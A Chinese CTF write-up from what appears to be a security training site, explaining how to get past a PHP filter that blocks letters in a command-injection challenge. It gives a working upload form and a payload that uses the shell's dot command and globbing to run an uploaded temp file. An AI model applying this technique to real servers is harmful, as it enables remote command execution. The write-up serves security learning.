命令执行:无字母命令执行/.(点)在命令执行中的应用

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母a-z且不分大小写

解决过程:

1.本地构造一个POST上传页面:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://14f41abd-4eed-4f55-9539-00a66a006c94.chall.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

 

(我的做法是的的确确上传了一个PHP,内容为

#!/bin/sh

ls

 

(<?php被我删掉了,然后也不要加分号。)

 

url:

?c=.+/???/????????[@-[]

原理如下:

当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。

这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。

翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。

那么最终payload为c=. /???/????????[@-[]

.(点)就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。

*这里我连发了几次才获取到了结果

 

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » 命令执行:无字母命令执行/.(点)在命令执行中的应用

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情